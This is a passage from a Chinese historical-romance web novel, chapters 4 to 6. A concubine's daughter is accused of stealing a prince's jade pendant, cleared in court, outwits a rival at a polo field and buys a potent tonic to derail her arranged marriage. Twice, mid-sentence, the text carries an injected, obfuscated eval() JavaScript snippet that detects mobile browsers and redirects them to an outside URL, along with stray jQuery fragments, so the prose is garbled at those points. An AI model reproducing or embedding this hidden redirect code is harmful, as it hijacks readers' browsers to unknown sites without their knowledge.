崔思初听到这,神色未变,却心下已然翻起层层涟漪。
她知道这桩亲事对崔府而言意味着什么,定远侯府是权势的象征,裴家如今虽外表低调,实则根深蒂固。
裴凌轩虽是纨绔,家世却金贵得很,能将嫡女嫁入这样的世家,崔怀木无疑是动了大心思。
但裴凌轩的浪名远扬,她早就听闻不止一次。
她贴墙听得分明,唇角却未扬起一丝得意,只觉荒谬。出身虽天差地别,命运却殊途同归,终究都不过是崔怀木用来攀附权贵的筹码而已。
定远侯府正厅内,气氛正僵。
只听“啪”的一声,定远侯手中拐杖重重敲在裴凌轩腿上,怒声道:“你说不娶就不娶?婚姻大事,哪轮得到你胡言乱语?你父母不在,自然由我做主,你就是不愿,也得给我娶!”
裴凌轩吃痛皱眉,却不肯低头,随手将茶盏一把摔在地上,茶水四溅,恰落在刚踏入厅中的裴舟月脚边。
她手执团扇掩唇,慢悠悠地抬眼,似笑非笑地望着他:“你这又是发哪门子的疯?”
“你们非要我成亲,那也别逼我娶她!”裴凌轩一脸不忿,语气带刺,“大哥尚未婚娶,凭什么偏让我先娶?况且那崔玄歌,我又不喜欢,端着架子、话也少,闷得很!”
定远侯闻言气得脸色发紫,拐杖重重一顿:“你还有脸提你阿兄?他年少封将,武状元,镇守玄武军,你呢?整日游手好闲,外头胡闹惯了!崔家虽门第平常,可那丫头乖顺听话,将来进门还能敬你三分。若换个厉害的,怕你哪天犯了浑,我这岁数怕是还要因为你,得在圣上面前被参几本。”
裴舟月坐在一旁,饶有兴致地啜着茶,神情颇为悠然。她斜睨一眼哥哥:“就你这性子,娶谁都活该被管。”
裴凌轩冷哼:“就算要我娶,也该娶个我喜欢的。崔家那个庶女我瞧着还顺眼得多,至少是个绝色佳人。”
这话一出,裴舟月“噗嗤”一声笑出来,团扇轻摇,凉凉道:“我的好阿兄,你可真会挑,只可惜晚了。你那位‘绝色佳人’,王太尉已请人看了八字,如今婚书都已写好,改日便要送去崔府,连聘礼也一并备齐了。准备迎娶崔思初为正妻,你啊,死了这条心罢。”
“王太尉?”裴凌轩脸色一变,猛地站起,“你说那老色鬼要娶崔思初?!”
此时,崔思初正提着几匹布料,按着下人指的路线前往长安南街的制衣坊。
她入京已有一年,却从未独自出过府,如今一脚踏进人声鼎沸的长街,竟有些摸不清方向。眼看巷口人流稀疏,崔思初索性钻进了一条小巷,低头走着,神情有些疲劳。
刚拐过转角,便猝不及防撞上一堵坚实的人墙,那人似乎在追什么人,也没注意到从拐角处出来的崔挽辞。
“哎!”她一个趔趄,手中布料顿时滑落,“噗通”一声掉进脚边积水坑中,溅起几滴污水,染湿了裙摆。
崔思初抬眸,一脸不悦,眉头拧得紧紧的,语气也毫不客气:“你这人走路不长眼睛啊?知不知道我这布,十五两一尺,还是定制的。”
那人站定不语,身姿笔挺,周身透着一股不怒自威的冷肃。他身着深绯色圆领袍,领口盘金绣纹,腰佩狻猊吞云玉环,衣摆无尘,气势逼人。
他眉眼清冷,轮廓凌厉,一双眼漆黑幽深,像是藏了千山雪意,一看便是不好惹的人物。
良久,那人薄唇轻启,只吐出三个字:“不讲理。”
崔思初愣了一瞬,随即心中判断,此人非富即贵,但看气质,又不像寻常世家子弟。
她立刻换了副神情,斜倚着巷墙,眯着眼估量他:“看你穿得体面,也不像穷人,行吧,不计较了,赔我一百两银子,这事就算了了。”
那人连眼皮都未抬一下,声音冷淡至极:“我没带钱。”
说完,从腰间解下一枚温润的白玉佩,随手丢给她,玉佩在空中划过一抹弧线,落入崔思初手中,他语气毫无起伏:“这个有价无市,拿着,迅速离开。”
4. 第 4 章
说罢,他从她身侧擦肩而过,步履沉稳,气息冷峻,片刻便消失在巷口尽头。
崔思初低头看着掌心的玉佩,确实是好东西,温润通透,雕工精绝,非寻常市面可得。她哼了一声,朝他离去的方向撇了撇嘴,低声骂了句:“没礼貌的大冰块。”
她弯身捡起那几匹布料,虽然有一角被水沾湿了些,但洗洗还能用,不算太糟。布收拾妥当,她顺势转了个方向,抱着玉佩去了最近的一家当铺,打算看看这“有价无市”到底能抵几个银子。
当铺伙计一见她进门,笑着迎上来:“姑娘可是要当物?”
“嗯。”崔思初微微颔首,将玉佩递了过去。
伙计接过玉佩随意一扫,起初不以为意,指腹刚一触上,神色顿时凝住。又凑近看了看花纹与成色,接着神情逐渐变得谨慎,抬头重新打量崔思初几眼,语气也立马变了:
“姑娘请坐。”
他招呼旁人倒了杯热茶,又赔着笑脸道:“这玉……不凡。我不敢擅断,得请我们掌柜亲自瞧瞧。”
崔思初接过茶,捧在手里,小口抿着,神色不动,心里却早已乐开了花。
不多时,那伙计将玉佩送入后堂。
掌柜的是个微胖的中年人,正对账,听说有块“好玉”,顺手接过。才看了一眼,眉头便动了,又翻转细看,指腹摩挲其纹路,再举到窗边,借着阳光细细察看纹路透光,脸色倏地一沉。
他沉吟片刻,忽地起身,沉声吩咐:“快,去叫几个机灵点儿的,随我出门一趟。”
伙计一惊:“掌柜的,怎么了?”
掌柜收起玉佩,眼神带着一丝戒备与凛然:“这可不是寻常人能有的东西,若是丢了……咱们这铺子也别开了。”
此时的崔思初还不知道内堂发生了什么,正悠然自得地品着茶。忽然,三名伙计一前一后围了上来,神情戒备。
掌柜从内堂走出,神色带着几分笑意,眼底却冷得像是沾了霜。
“姑娘长得倒是标致,只可惜这手脚不太干净。”他打量了她一眼,语气淡淡地道,“我在长安开了几十年铺子,对人过目不忘,却从没见过你,想来是新来的生面孔。但偷东西也得讲点规矩,有些人,是偷不得的。”
崔思初一头雾水,慢悠悠地放下茶盏,眉头微蹙:“掌柜的,你在说什么?”
掌柜见她神情不似作伪,语气稍缓了些,抬手晃了晃那块玉佩,道:“这块玉,是肃安王府的私器。如今肃安王在朝中任兵部尚书,这位姑娘……怕是不知底细吧?”
崔思初闻言倏地站起身,眼中满是不可置信:“你说谁?肃安王……沈鹤?”
掌柜冷笑一声:“算你还有点见识,来人,把她绑了,送衙门。”
情势紧迫,崔思初心知强辩无用,当下迅速做出反应,装模作样眼眶一红,语气一转,露出楚楚可怜之色:“掌柜的,我真的没偷,这块玉……是别人给的。”
掌柜拈须叹了口气:“姑娘,要是换了别家府邸,我扣下玉,放你一马,也就罢了。但这肃安王,是我们谁都不敢轻慢的主儿,糊弄不了一点儿。”
崔思初心下冷笑一声,面上却不显,知道此事怕是难以善了,真要去了公堂,只能等那人亲自出面,对质澄清。
她缓缓抬手,摊开掌心,语气平静中带着一丝不容置疑的坚定:“掌柜的,我愿随你去衙门。我问心无愧,自有人替我作证。你们也不必动手绑我,我一介弱女子,又跑得了多远?”
掌柜打量了她一眼,似是有些意外,又缓缓露出一个不咸不淡的笑容:“姑娘识时务,那是最好。请吧。”
崔思初跟着他们一同来到衙门的公堂之上。
正值午后,府尹衙门公堂内香案肃然,一旁大鼓未响,堂前一应人等却已整肃站定。
京兆府尹大人端坐于公案之后,身着月华紫团鹤朝袍,腰束青玉绶带,身形笔挺,一丝不苟。眉眼温润如玉,神情沉静,举止间自带几分不动如山的威仪。此刻他正低头翻阅案卷,指节修长分明,翻页之声轻微却有力,整个人在静默中散发出清贵沉稳的气场。
下头小吏禀报道:“府尹大人,德昌当铺送来一名女子,涉嫌偷盗王府之物,请示如何处置。”
萧玉白微一点头,正要让人带上来,却在抬眸一瞬,看清了那女子的脸。
他神色微怔,眉头轻蹙,声音也不觉低了一度:“她?”
那女子被两个伙计簇拥着走进公堂,脚步仍是平稳,头发有些散乱,衣摆沾了灰尘,却姿态不乱。她仿佛并未将这公堂肃然放在眼中,只定定地望着坐堂的少年,目光中带着几分意外,又似早有预料。
正是崔思初。
四目相对,她微微一颔首,行了个不轻不重的礼:“草民崔思初,因持王府玉佩被疑偷盗,特来请府尹明断。”
声音清亮温软,端得起分寸,又藏得住锋芒。
而坐在上首的少年,片刻之后才回过神来,手中卷宗被他轻轻合上,唇角微不可察地动了动。
“本官知此人。”
掌柜的也是一愣:“大人认识她?”
萧玉白眸色深沉,目光从案牍上掠过,淡淡扫向跪在堂前的掌柜与伙计,声音清正,语气不急不缓,却带出几分不容置喙的冷意:“她是崔尚书府上的五小姐,你把玉佩呈上来我看看。”
掌柜的战战兢兢起身,将玉佩双手捧起,恭敬呈至案前。萧玉白低头一瞥,神色微顿。
此物他认得,乃是他那位素来冷厉寡言的舅舅沈鹤随身之物,雕工独绝,质地温润,为定制无二。他眉心微蹙,崔家与肃安王府一向无甚私交,这玉佩怎会落在崔思初手中?
他抬眼,望向堂下那名衣着素雅、神情温顺的少女。她伏跪在青石地上,眉眼清秀,举止得体,怎么看都不像是市井小贼。
他指尖轻敲案角,将玉佩搁于案上,声音沉稳而清晰:“崔思初,你可有解释?”
崔思初微一顿首,眼神坦然,语声不疾不徐:“回尹大人。今日小女外出寻裁衣坊,途经巷口,不慎与一位身着绯袍的男子相撞,手中布匹掉入泥水。彼时那位……肃安王身上未带银钱,小女本想作罢,可他见我手足无措,遂将此玉佩赠我赔偿。此言句句属实,绝无半点虚言。”
她说得既清楚又合情理,语气既无怯意,也无多余申辩,分寸拿捏得恰到好处。
崔思初显然知晓他断不可能当堂传唤肃安王出面对质,只是对故事稍微润色,
萧玉白心下微动。话说至此,反倒替他卸了一份麻烦
他不动声色地起身,拾起玉佩,走下阶来,将玉佩递还于她掌中:“既是肃安王亲赠,那便留着。”
语罢,转身又对当铺掌柜言道:“此事纯属误会。我虽与崔五小姐相识不久,但知她性情端正,绝非那等混迹市井、行窃为生之人。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230704|181769||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
堂中众人不敢作声,唯有崔思初轻轻接过玉佩,眉眼低垂,一语不发,却似笑非笑,似羞似感。
掌柜见事情已了,长舒一口气,先是赔着笑脸向崔思初致歉,又连连作揖,带着几名伙计匆匆退下,不敢多留。
崔思初轻轻一礼,侧身掠过萧玉白,怀中抱着那几匹沾了泥水的布料,步履轻缓,正欲离去。
“崔五姑娘。”萧玉白忽而开口。
他目光落在她臂弯中的布料上,果然染有污迹,再看她一身衣裳,质地普通、剪裁风格也是旧款,与那日寿宴大不相同,不难猜出她在崔府的处境并不宽裕。
他语气一缓,语声温和:“东市有一家长宁制衣坊,你自去时只须说是定远侯府之人,今日来量衣,那边掌柜自会取出上好的料子为你裁制。”
崔思初脚步未停,微微偏头,语气却温婉有度:“既已收了玉佩,自是赔偿在先,岂敢再受多余恩惠。萧大人的好意,思初心领了。”
言罢,她抬步离去,留萧玉白站在堂前,无言以对。
他望着她淡然而去的背影,片刻后,忽而轻笑,无奈叹息道:“也是……都要嫁给王太尉的人了,又怎会缺几身衣裳。”
萧玉白此刻看见的,不是一个美娇娘,而是一个被家族推出来、无法掌控自己命运的女子。
崔思初从京兆府出来时,天色已近傍晚,巷口有卖糖葫芦的小贩吆喝,叫声在长街尽头被风吹得零碎。
她抬手拢了拢袖口,拐进一处人少的小巷,才将怀中的玉佩取出来细细看。
玉温如脂,纹路内敛含光,沈鹤身上的东西,果然不俗。
她指尖轻轻摩挲着那枚玉佩,眼中没有一丝贪喜的神色,只是淡淡叹了一口气。
“有价无市……的确不错。”她低声道,“倒是比我那个爹管用得多。”
她将玉佩重新收回袖中,手指收紧,神情一派淡然,却唇角勾起一抹讽刺的笑。
不日,王太尉欲迎娶崔家五娘子的消息传了出来,几乎一夜之间传遍了整个长安。与此同时,定远侯府裴二公子与崔家嫡长女崔玄歌订亲的事也紧随其后。
于是茶楼酒肆、闺阁巷口,皆是谈资。
同为崔家女,一为嫡出,一为庶出,双双高嫁,却是两样天命。
一个许给了风流俊雅的少年郎,一个则要入那五旬老臣的深宅重门。
有人感慨天意弄人,有人唏嘘庶女命薄。更有人笑道:“崔家这一回,可是一步棋双赢。”
消息传到崔思初耳中,她正坐在廊下晒着日光,只见那成箱的彩礼接连不断地抬进小院,婚书上赫然写着——四月初六,良辰吉日,大婚成礼。
她看着那一道道朱红封条,目光微闪,两眼一黑,几乎站不住脚,还有不到一个月。
身旁一婢女眼疾手快将她扶住,低声劝道:“小姐,切勿难过。”
这婢子是柳南风近日才替她买的,名义上是贴身伺候,实则是给她当陪嫁丫鬟。柳南风算得清楚,将她送进王府,必须要留个自己能使唤的人进去。
毕竟是崔家出去的女儿,哪怕是庶出的,到了太尉府,也得记得为崔家吹吹枕边风,替崔怀木、崔家嫡长子多在圣上跟前美言几句。
崔思初听罢,只是敛了眸,轻轻一笑,那笑里没喜也无怒,像是翻过一页旧账。
别急,彩礼进了不假,但轿子不是还未落下呢。
5. 第 5 章
在大房主院的另一侧,崔玄歌已不得不接受那个“既定的事实”。
定远侯府虽已名义上下帖订亲,实则态度冷淡。既未见裴凌轩登门,也不见定远侯亲自出面,只让人草草送来一纸婚书与几箱彩礼。
那几箱礼品一经打开,竟连庶妹崔思初所收的王太尉彩礼都不及一半。
她脸色当即冷了,手中团扇“啪”地一声摔在梳妆台上,咬牙切齿,神色阴沉,满脸写着压抑不住的愤懑与不甘。
“凭什么她一个庶女,彩礼却比我多出那么多?这叫我颜面何存?”
帘子轻响,柳南风步入屋中。她看见女儿眉眼不展,径直走到她身旁坐下,语气温和却不容置疑。
“咱们要的,从来不是他们那点彩礼。”她伸手替女儿拢了拢鬓发,语气轻缓,却带着一种久经风雨后的笃定从容,“你娘我什么没有?咱们嫁的,是定远侯府,是那份名头,是侯门之后的尊贵身份。”
“彩礼多少算得了什么?将来你若能生下嫡子,这偌大的侯府,还不是你说了算?至于裴凌轩,他做什么无所谓。男人,不过是一时风月。可孩子,才是女人真正的倚仗。”
她顿了顿,眼神微冷:“你以为这些年你爹身边只有崔思初她娘一个相好?多多少少我也知道些,我闹,是告诉他,人你可以找,但别想着带回家里上堂入室。”
说着,柳南风握住女儿的手,语气低缓却愈发沉重:“你以后也会遇上这些。记住了,男人有三妻四妾是寻常事,千万别把你一辈子的命,寄托在他们的情意上。情意,是最靠不住的东西。”
崔玄歌静静听着,原本眉间的怒气慢慢退散,神色间多出了一份深思。
柳南风看着她眼神沉静,起身整了整衣袖,声音一如既往平缓,却句句敲骨:
“你要知道,咱们女人争的,从不是一时宠爱,而是下一代的席位,和能握在手里的东西。”
屋内一时静寂。
崔玄歌垂下眼帘,指尖轻轻摩挲膝上的织锦,像是在将那些话一字一句地刻进心里。
过了片刻,她低声道:“可我就是不甘心。”
柳南风闻言,微微一笑,转身走向门口,背对着她轻声补了一句:
“那你就更不能把眼睛放在那点不值钱的彩礼和情意上。”
崔玄歌没再说话。她坐在那里,仿佛突然明白了些什么。
偏院中,崔思初唤来那名婢子,语气温缓地问:“你叫什么名字?”
婢子福了福身:“回小姐,奴婢唤作遂心。”
崔思初点了点头,语调不疾不徐:“好名字。那遂心,你去叫几个身强力壮的家丁来,把院里这些彩礼,统统抬去我母亲的院子。”
遂心一愣,有些迟疑:“小姐……这是何意?”
崔思初缓步走近,站在她面前,眼中漾着柔意,声音却清清楚楚地落下:
“我是崔家人,这些彩礼放在哪儿,不都是崔家的?哪里有什么你的我的之分。”
不多时,几名家丁应声而来,将原本堆在偏院角落的红木箱子、描金锦盒一一抬走,浩浩荡荡送去了柳南风所居的大房正院。
动静不小,很快便惊动了正院中人。
崔玄歌正好出来,一眼瞧见那箱箱彩礼正被送进院子,脸色顿时冷了下来。她以为崔思初是来借机炫耀,气不打一处来,刚欲发作,便见柳南风也撩帘而出。
柳南风站在廊下,皱眉问道:“这是做什么?”
崔思初早已跪在地上,行了个端端正正的礼,语气柔顺温婉:
“母亲是思初的亲人,也是思初出嫁后唯一能依靠的娘家。思初对这些身外之物并无贪念,特来孝敬母亲,也算是做妹妹的,为姐姐添些陪嫁。”
话说得滴水不漏,语气温顺得几乎听不出一丝私意,再配上她此刻半跪在地、目光低垂的模样,的确惹人怜惜。
柳南风听罢倒也无可挑剔,神情略缓。
一旁的崔玄歌却冷笑一声,眉眼间尽是讽意:“你都快要出嫁了,怎么还总是一副弱柳扶风、矫揉造作的样子?小家子气,终究上不了台面。”
言罢,她不再看她一眼,抬步绕过崔思初,拂袖而去,身后婢女快步跟上。
崔思初仍维持着那副委屈柔顺的模样,垂眸跪着,声音低低的,像是怕扰乱谁的耳目。柳南风看着她,再看了看院中那一箱箱彩礼,终究还是开了口,唤住正要走远的崔玄歌。
“玄歌,你且等一等。”
她语气虽缓,却带着几分不容抗拒的意味。
“好歹是你庶妹,虽说出身低微,可如今也要嫁人了,出了门代表的也是咱们崔府的脸面。你去打马球时,便带她一道,顺便教教她规矩。免得她哪日与京中贵妇交往时,失了礼数,让人笑话咱们崔家没人教。”
崔玄歌脚步一顿,回头冷冷扫了崔思初一眼,目光在她略显寒酸的穿着上打量了一番,讽意藏不住地挑了挑眉。
她一转头,冲身边的婢女吩咐:“明月,去,给她挑一身像样的行头,别一身粗布麻衣跟我出门,叫人以为我带了个庄户丫头。”
明月应声,领着崔思初进屋更衣。
这一切,正中崔思初下怀。
她心中早已有数——今儿崔玄歌打马球的帖子是前日送到的,她便刻意挑了这个时辰送彩礼来,再借机装作一番孝心博得柳南风开口。
她向来知道柳南风虽傲,却不是没有心肠的人,只要打中了那几分体面与“崔府脸面”的软肋,就赌她一定会心软。
果然,赌赢了。
片刻后,崔思初换装归来,一身绣金胡服穿在身上,将她原本就纤细柔美的身形衬得英姿飒爽,眉眼依旧温婉,却多了几分凌厉藏锋的潋滟气韵。
柳南风目光一转,看见她这身装扮,也不由得满意地点了点头。
“倒也像个样子了。”
她说完,挥了挥手,吩咐道:“既如此,你们一块儿出门吧。”
崔玄歌看也不看崔思初一眼,只冷冷道:“跟紧点,别坏了我的兴致。”
崔思初低头轻应,跟了上去。
长安城南的御马场,草色新碧,地势开阔,是京中世家子弟私下切磋马球之地,非权贵不得入。
崔家姐妹一到,便引得不少人侧目。
陆思之早早便骑马到了场上,一眼望见她们,拨马而来。银缰黑马,马蹄轻扬,少女英姿飒爽,目光却带着三分轻蔑与笑意。
“玄歌。”她扬鞭在空中轻轻一晃,声音明快,“听说你要嫁进定远侯府,恭喜了。”
崔玄歌坐姿笔挺,嘴角带笑,得体地回应:“多谢陆姐姐。”
陆思之话锋一转,目光落在站在旁边静静不语的崔思初身上,似笑非笑:“你怎么还把你庶妹带了出来。”
崔玄歌语气淡淡,“带她出来见见世面。”
“哦?”陆思之挑了挑眉,忽然笑了,对着崔思初问道:“你会打马球?自个儿的球杆呢?”
崔思初声音软软的,语气里不见一点锋芒:“回姐姐的话,我从没打过球……也不会骑马。”
陆思之闻言一笑,眼中却多了几分试探意味。她拨转马头,朝崔玄歌道:“既如此,那你可得看好她,别让人笑话了。”
崔玄歌接过婢女手中的缰绳,翻身上马,毫不犹豫,策马
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230705|181769||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朝场中奔去。她不欲掺和。
陆思之却不打算放过。她轻夹马腹,绕着崔思初策马慢行,转了两圈,忽然一抖缰绳,坐下马儿抬起前蹄,作势欲踏,惹得周围其他人一惊。
崔思初静静站在原地,眼角余光却看见一抹青色身影自远而近。
她唇角微不可察地一弯,下一瞬——脚下一软,身子便顺势跌倒在地,裙摆铺散,手肘擦过草地一抹泥痕。
“哎呀!”她低声一呼。
萧玉白正好瞧见这一幕,快步走来,他眉头一皱,立刻俯身将她扶起,声音克制而冷静:“你可有伤着?”
崔思初眨了眨眼,眼中雾气氤氲,手不动声色地收紧他衣袖,轻声道:“我好像……歪了脚,萧大人,好痛。”
萧玉白看她一眼,眼神一沉,转头望向场上的陆思之,语气骤冷:“陆小姐,马场非战阵,你也算出身世家,竟不知收敛礼数欺负崔姑娘?”
陆思之面色微僵,嘴唇动了动,最终忍不住道:“她是装的!根本没伤着,我可连她的裙角都没碰到!”
崔思初却一脸慌张,柔声劝道:“不怪陆姐姐,是我自己胆子太小了……”
那模样分明是怕再连累对方,又怕自己招惹是非,眼里一汪清水似的,波光潋滟,惹人心疼。
萧玉白垂眸看她片刻,问:“你还能走吗?”
崔思初轻轻摇头。
他也不再言语,俯身将她抱起。少女身子轻软,香气隐隐,是马场尘土与发间花露混成的香意。
他神色如常,一步步朝廊亭方向走去,崔思初深深地看了一眼身后的陆思之,嘴角露出一个意味深长的笑。
陆思之看着崔思初这幅得意模样,忍不住咬牙,狠狠一甩鞭子,声音几不可闻地咒骂一句:“惯是个会装模作样的小贱人!”
萧玉白将崔思初轻轻安置在廊下一张雕花木椅上,转身欲唤人请大夫。刚迈出一步,衣袖便被轻轻扯住,身后忽然传来一道柔声唤:“萧大人。”
他脚步一顿,回首望去。
崔思初不再是方才那副楚楚可怜的模样,只见她神色淡定,唇角含笑,眼中波澜不惊:“方才之事,多谢大人。”
彼时春风正好,枝叶轻晃,斑驳光影洒落她眉眼,映得那张清丽面容越发温软动人。她望着他的眼神不急不缓,似浅水流深。
萧玉白心头一震,喉头微紧,崔思初也松开了他的袖子。
“崔姑娘言重了。”他微微颔首,语气温和克制,随即收敛神色,转身朝马场另一侧走去,与众人一同赴局。
崔思初懒懒地靠坐在廊亭中,目光随着马场上球影翻飞,渐渐生出倦意。
她撑着下巴打了个呵欠,正觉得百无聊赖,忽见陆思之挥着球杆策马朝她这边驰来,眼中隐隐带了些不善。
她眼睫微垂,低头拾起脚边一枚细小石子,顺手将腕上的素绳褪下。
那素绳外表朴素,实则以兽筋裹丝而成,柔中带韧,轻盈灵巧,寻常人难察其用。
她不动声色地将素绳轻绕指间,弯成弓状,指尖一捻,冷静地将石子送入弦心。
一瞬凝神,风声在耳畔滑过。
“咻——”
石子破风而出,精准地击中陆思之坐骑的前腿,马儿受惊,前蹄腾空嘶鸣,陡然扬起。
陆思之毫无防备,一手执杆,一手脱缰,身形晃动,瞬间从马背上重重摔下。
马场顿时一片惊呼。
无人察觉,一旁树影婆娑之下,一名身着深绯官袍的男子站在花影中,目光静静落在崔思初指间素绳尚未收起的手上,眼神深沉。
正是循声寻人的沈鹤。
6. 第 6 章
陆思之摔落马下,众人纷纷勒马下骑,围拢了过去。她似是磕到了头,坐起时还有些晃神,好在骑术扎实,倒地时护住了要害,未见大伤。
她站起身,脸色铁青,拨开众人,直直走到崔思初面前,手指一指,怒声喝道:“是你!我亲眼看见,是你干的!不知道用了什么手段,竟让我的马受了惊。”
崔思初坐在亭中,神色澄澈,目光静静望着她,毫不慌乱。
她语气温柔平静,听不出半点波澜:“陆姐姐这话我可听不懂。我脚崴了,一直坐在这里,动都没动,你的马突然发疯,却要怪到我头上……依你说的,倒像我会什么法术似的,能隔空蛊马。”
陆思之怒气上涌,咬牙道:“你别装的一副人畜无害的样子!我明明看到,就是你!”
她回身走到方才摔落之地,低头四下搜寻,片刻后,捡起一枚石子,举高对众人道:“就是她!她就是用这东西打马的,我亲眼所见!”
众人交头接耳,几人却已悄悄偏过脸去忍笑。
“陆姑娘,这就有些强人所难了。”一名世家子低声笑道,“崔五姑娘连投壶都不中,这么小一颗石子,还能隔着这么远打中马腿,难不成是武将世家出身?”
“就是啊。”又有人附和,“陆姑娘是不是对她成见太深了些?怎么都往她身上安?”
陆思之脸色涨红,握着石子的手不禁紧了几分,却无法反驳。
这时,崔玄歌也慢悠悠走了过来,语气不冷不热,带着点责备的意味:“陆妹妹,若你替我出头,也得找个像样点的由头。她一个连马都不敢骑的庶女,在家里肩不能挑、手不能提,平日里连个笔头子握久了都累的人,哪里使得出这种手段?”
陆思之看着周围人你一言我一语,竟都偏袒崔思初,气得眼圈发红,怒火上涌。她猛地扬起手中马鞭,作势便要抽向崔思初。
崔思初瞳孔微缩,本能地抬起手臂护住脸侧,偏过头,身子微微蜷起,作出一副惊慌躲避的模样。
就在那鞭影即将落下的一瞬,萧玉白自旁冲来,袍角掠风,一把将她护在身后。
“啪!”一声脆响,鞭子抽实在他肩头,力道不轻,直直打在肩胛之上。
四下顿时寂静。
陆思之愣在当场,手中的马鞭“啪嗒”一声掉落在地,脸色骤变,半晌才喃喃道:“萧世子,我……我不是故意的……”
萧玉白面色沉冷,一步上前,目光如寒星逼人:“陆思之,你当众伤人,目无法纪,此事我必告知陆大人,叫他好好将你关上几日,好生反省。”
陆思之惊得面色煞白,连忙低头道歉:“是我鲁莽了,萧世子,我不是故意的……”
他却丝毫未作回应,转身看向身后那道纤细倩影,语气缓和几分:“崔五姑娘,可有受惊?”
崔思初抬眼望他,眸中含着一丝惊惧与复杂,低声唤了句:“萧大人……”
萧玉白垂眸看她,温声开口:“你不必觉得愧疚。今日我虽休沐,但也是京兆府尹,护百姓周全,理所应当。”
他一句“百姓”,将彼此身份自然拉开,既护了她的颜面,又避了不必要的言语闲话。
正此时,一道清冷的男声从人群之外传来:“望之。”
众人循声望去,只见一道深绯身影自树影间缓缓而出,星眸剑眉,气势沉稳如山,
崔思初一愣,手指不自觉地绞紧衣角,是他,那日在巷口与她相撞的男人。
萧玉白转身,见来人,立刻拱手:“舅舅。”
众人齐齐变色,纷纷行礼:“见过肃安王。”
只有崔思初垂着头,眼帘低敛,神情从容,实则心跳如擂鼓。她不知他何时来了,也不知看了多少,唯愿此刻他莫要认出她来。
以此人在京中威信,说什么别人都会信的。
沈鹤未看她一眼,目光扫过众人,沉声道:“去你府中找你调卷宗,听姐夫说你在马场,正好顺道来寻,走吧。”
言罢,转身便走,萧玉白也跟了上去。
待萧玉白与沈鹤的身影消失在远处,周围渐渐散去热闹,崔思初才渐渐抬起头,她望着方才那个替自己挡下马鞭男人离开的方向,心中泛起几分涟漪。
萧玉白行止端方,性情温润,出手果断而有分寸,且一言一行间皆不失体统礼度,清贵如月,正直有教养。
要论这京中贵胄之中,谁最配得上良人二字,非萧玉白莫属。
若要摆脱崔怀木那一纸将她送给王太尉做填房的婚约,不如就攀上这长安最高的枝头——镇国公府。
她眼中光色一动。萧玉白的母亲是当今太后最宠爱的公主,其舅舅,一个是坐拥天下的圣上,一个便是肃安王沈鹤,而他的父亲镇国公虽为袭爵,却也是内阁重臣、位高权重。
如此家世,若真能攀上,王太尉那桩婚事,倒也不难推翻。
只是——
大婚之期已近在眼前,若想脱身,须得先想个法子拖延一二,好为后续铺路。
她正沉在一连串盘算里,忽听耳边传来一个熟悉的带着愤懑的声音,将她从思绪中猛地拉回。
“崔思初,你给我等着,我绝不会放过你。”
陆思之气冲冲地走到她面前,眼中几欲喷火。崔思初只是抬眼看她,唇边勾起一抹淡淡的笑,看似无害,又似讥讽。
陆思之被她这副波澜不惊的模样激得更加窝火,只觉她虚伪、矫饰,恶心至极,甩袖转身便走。
崔玄歌欲开口唤她,然而陆思之头也不回,显然对她方才的不信任心生怨怼。
崔玄歌只得轻叹一声,无奈地摇了摇头,转而看向仍在原地未动的崔思初:“走吧。”
却见崔思初忽而开口,语气带着几分恰到好处的迟疑:“姐姐,我忽然记起前几日去制衣局做的衣裳应当好了,我须得过去取一趟。”
崔玄歌听罢也未细问,反正她也不愿与她一路相随,便只丢下一句:“随你。”
语罢,她领着婢女扬长而去。
崔思初望着她们的背影,眼中微光流转,唇角笑意未散,身形虽静,却心思翻涌如潮。
前两日,她在府中巧作柔顺模样,旁敲侧击以“讨好未来夫君”为由,向下人还有崔怀木打探了王太尉的一些喜好与忌讳。
听说他年岁虽长,性子却古板乖僻,尤好术数风水,动辄焚香问卜,行事多凭一句吉凶。更有传言,为了“重振雄风”,每日不离补药,常年服用鹿茸、人参、阳起石一类烈性之物。
那天听得这些时,她不过低头拈着茶盏,指尖轻扣,没出一丝声响,却在心中冷笑了一声。
王太尉好大补之物,那她便叫他补出祸来。
从前她与母亲寄居庄子,邻家姬大娘是个寡居的女医,素有些本事,母亲多年病症,便是她一手吊命,直至去年方才病重不治。她自幼常与姬大娘上山采药,耳濡目染,习得不少药理医识。
崔思初伸手从袖中缓缓掏出那枚沈鹤的玉佩,倒是想出了个法子。
崔思初独自一路走到长安西市。西市地近外坊,来往多是胡商杂客,铺子林立,叫卖声此起彼伏。她早打听过,许多中原难寻的药材,倒可在此处找到些门路。
她沿着街巷晃了几圈,才在一处略显隐蔽的胡商药铺前停下脚步。那铺子门口悬着写有番文的幌子,药香混着异域辛香扑鼻而来。
她掀帘入内,与掌柜略作寒暄后,便轻声报出药方:“淫羊藿三钱,仙茅二钱,肉苁蓉一两,辅以制附子和五味子为引,另加石燕末半分。”
掌柜原本还神色平常,听到这一串药名后,神情顿时一变,露出一副“我懂了”的笑容,低声笑道:“姑娘这方子……火气不小啊。你们小两口虽说新婚燕尔,玩得热些也不打紧,只是这药可补得猛了些,最多一个月一服,再多可就要伤身了。”
崔思初垂眸一笑,指尖轻轻掩住唇角,语气温柔得体:“掌柜说的是,小女记下了,多谢提点。”
崔思初这服药被她称为“养阳固精散”。面上是固本培元,实则火旺生梦、精滑魂乱。
